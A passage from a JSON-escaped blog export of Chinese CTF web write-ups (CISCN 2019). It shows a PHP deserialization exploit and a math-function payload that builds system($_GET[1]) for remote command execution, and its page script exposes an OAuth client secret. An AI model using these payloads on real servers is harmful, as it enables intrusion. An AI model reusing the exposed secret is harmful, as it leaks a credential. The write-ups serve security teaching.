class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003eGET参数中含有file, LFI获得index.php源码, 根据其内容继续获得hint.php源码\u003cbr\u003e发现含有unserialize函数, 联系hint.php内容, 考察点为反序列化\u003c/p\u003e\u003cp\u003e有三处需要绕过:\u003c/p\u003e\u003col\u003e\u003cli\u003eparse_url 三斜杠绕过, 常规\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__wakeup\u003c/code\u003e 绕过,\u003ca href=\"https://bugs.php.net/bug.php?id=72663\"\u003eCVE-2016-7124\u003c/a\u003e\u003c/li\u003e\u003cli\u003e每次调用getFlag token_flag都会随机变化,可以将token赋值为token_flag 的引用绕过\u003c/li\u003e\u003c/ol\u003e\u003cimg src=\"/2019/04/22/Security/Writeup/CISCN%202019/EUhNFz4.png\" class=\"\" title=\"Source\"\u003e\u003cp\u003e故exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eFlag\u003c/span\u003e\u003c/span\u003e\u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eHandle\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$xx\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle = \u003cspan class=\"variable\"\u003e$xx\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Flag(\u003cspan class=\"string\"\u003e\u0026quot;flag.php\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;token = \u0026amp;\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;token_flag;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;file = \u003cspan class=\"string\"\u003e\u0026quot;flag.php\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$pay\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Handle(\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e urlencode(serialize(\u003cspan class=\"variable\"\u003e$pay\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"love-the-math\"\u003elove the math\u003c/h2\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 题目源码 \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// calc.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eerror_reporting(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//听说你很喜欢数学,不知道你是否爱它胜过爱flag\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;c\u0026#x27;\u003c/span\u003e]))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e show_source(\u003cspan class=\"keyword\"\u003e__FILE__\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//例子 c=20-1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;c\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e) \u0026gt;= \u003cspan class=\"number\"\u003e80\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;太长了不会算\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026#x27; \u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\t\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\r\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\n\u0026#x27;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;\\\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026quot;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;`\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\[\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\]\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$blackitem\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e . \u003cspan class=\"variable\"\u003e$blackitem\u003c/span\u003e . \u003cspan class=\"string\"\u003e\u0026#x27;/m\u0026#x27;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;请不要输入奇奇怪怪的字符\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;echo \u0026#x27;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#x27;;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$whitelist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026#x27;abs\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;acos\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;acosh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;asin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;asinh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;atan2\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;atan\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;atanh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;base_convert\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;bindec\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;ceil\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;cos\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;cosh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;decbin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;dechex\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;decoct\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;deg2rad\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;exp\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;expm1\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;floor\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;fmod\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;getrandmax\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;hexdec\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;hypot\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;is_finite\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;is_infinite\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;is_nan\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;lcg_value\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;log10\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;log1p\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;log\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;max\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;min\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;mt_getrandmax\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;mt_rand\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;mt_srand\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;octdec\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;pi\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;pow\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;rad2deg\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;rand\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;round\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;sin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;sinh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;sqrt\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;srand\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;tan\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;tanh\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e preg_match_all(\u003cspan class=\"string\"\u003e\u0026#x27;/[a-zA-Z_\\x7f-\\xff][a-zA-Z_0-9\\x7f-\\xff]*/\u0026#x27;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$used_funcs\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$used_funcs\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$func\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!in_array(\u003cspan class=\"variable\"\u003e$func\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$whitelist\u003c/span\u003e)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;请不要输入奇奇怪怪的函数\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//帮你算出答案\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;echo \u0026#x27;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#x27;;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e观察发现如下限制:\u003c/p\u003e\u003col\u003e\u003cli\u003epayload长度不可超过80\u003c/li\u003e\u003cli\u003e可以执行任何数学函数\u003c/li\u003e\u003cli\u003e有部分字符不可用( \u003ccode\u003e$blacklist\u003c/code\u003e )\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e由于80这个长度太短, 所以后期应当是通过取其它位置的可控输入点进行执行和输出\u003cbr\u003e应当取能够返回字符串的数学函数, 加以拼接得到期望值\u003cbr\u003e题目过滤了所有除数学函数名意外的英文字符, 所以应当利用纯数字构造payload\u003c/p\u003e\u003cp\u003e观察数学函数的输入输出, 发现涉及到不同进制的数学函数能够返回字符串。\u003cbr\u003e其中利用base_convert能获取更大的字符集, 但也更长\u003cbr\u003e原型:\u003ccode\u003ebase_convert(number,frombase,tobase)\u003c/code\u003e\u003cbr\u003e可以将字符串转为10进制或其它能够组成纯数字的进制来控制输入\u003c/p\u003e\u003cp\u003e验证: \u003ccode\u003eurl:/calc.php?c=base_convert(55490343972,10,36)()\u003c/code\u003e\u003cbr\u003e可以执行phpinfo\u003c/p\u003e\u003cp\u003e比赛时受师傅的引导,将echo file_get_contents缩短为readfile,成功获得了flag\u003c/p\u003e\u003cimg src=\"/2019/04/22/Security/Writeup/CISCN%202019/SlwlDOA.png\" class=\"\" title=\"meme\"\u003e\u003cp\u003e其实应该是可以RCE的\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003ephp \u0026gt; \u003ccode\u003eecho base_convert('system', 36, 10);\u003c/code\u003e\u003cbr\u003e1751504350\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e考虑到进制转换只能转出小写字母, 此处利用php能将字符串互相异或的行为, 能够将多个16进制串进行异或得到大写字母。\u003cbr\u003e于是目的是:将两个\u003ccode\u003e[a-z0-9]*\u003c/code\u003e字符串异或得到\u003ccode\u003e_GET\u003c/code\u003e,利用\u003ccode\u003e_GET\u0026#123;param\u0026#125;\u003c/code\u003e获取到另一参数中引入的更长字串\u003cbr\u003e进行fuzz, fuzz代码:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026quot;0123456789abcdefghijklmnopqrstuvwxyz\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e \u0026lt; \u003cspan class=\"number\"\u003e36\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e++)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$j\u003c/span\u003e \u0026lt; \u003cspan class=\"number\"\u003e36\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$j\u003c/span\u003e++)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e]^\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot; \u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e].\u003cspan class=\"string\"\u003e\u0026quot; \u0026quot;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\\n\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026quot;_\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026quot;G\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026quot;E\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026quot;T\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e得到\u003ccode\u003e\u0026quot;1000\u0026quot;^\u0026quot;nwud\u0026quot; == \u0026quot;_GET\u0026quot;\u003c/code\u003e\u003cbr\u003e所以能够构造出一句话payload:\u003cbr\u003e\u003ccode\u003ebase_convert(1751504350,28,10)($\u0026#123;decoct(512)^base_convert(862402,10,33)\u0026#125;\u0026#123;1\u0026#125;)\u003c/code\u003e\u003cbr\u003e即\u003ccode\u003esystem($_GET[1])\u003c/code\u003e\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/04/22/Security/Writeup/CISCN%202019/"},{"title":"MakerCTF 2019 部分Web题目 Writeup","time":"2019-04-14T16:00:00Z","content":"\u003ch2 id=\"Pineapple\"\u003ePineapple\u003c/h2\u003e\n\u003cp\u003e通过扫描可以发现存在git源码泄露,进一步发现index.php中存在反序列化点:\u003c/p\u003e\n\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutte\u003chr /\u003e\u003ch2 id=\"Pineapple\"\u003ePineapple\u003c/h2\u003e\u003cp\u003e通过扫描可以发现存在git源码泄露,进一步发现index.php中存在反序列化点:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan 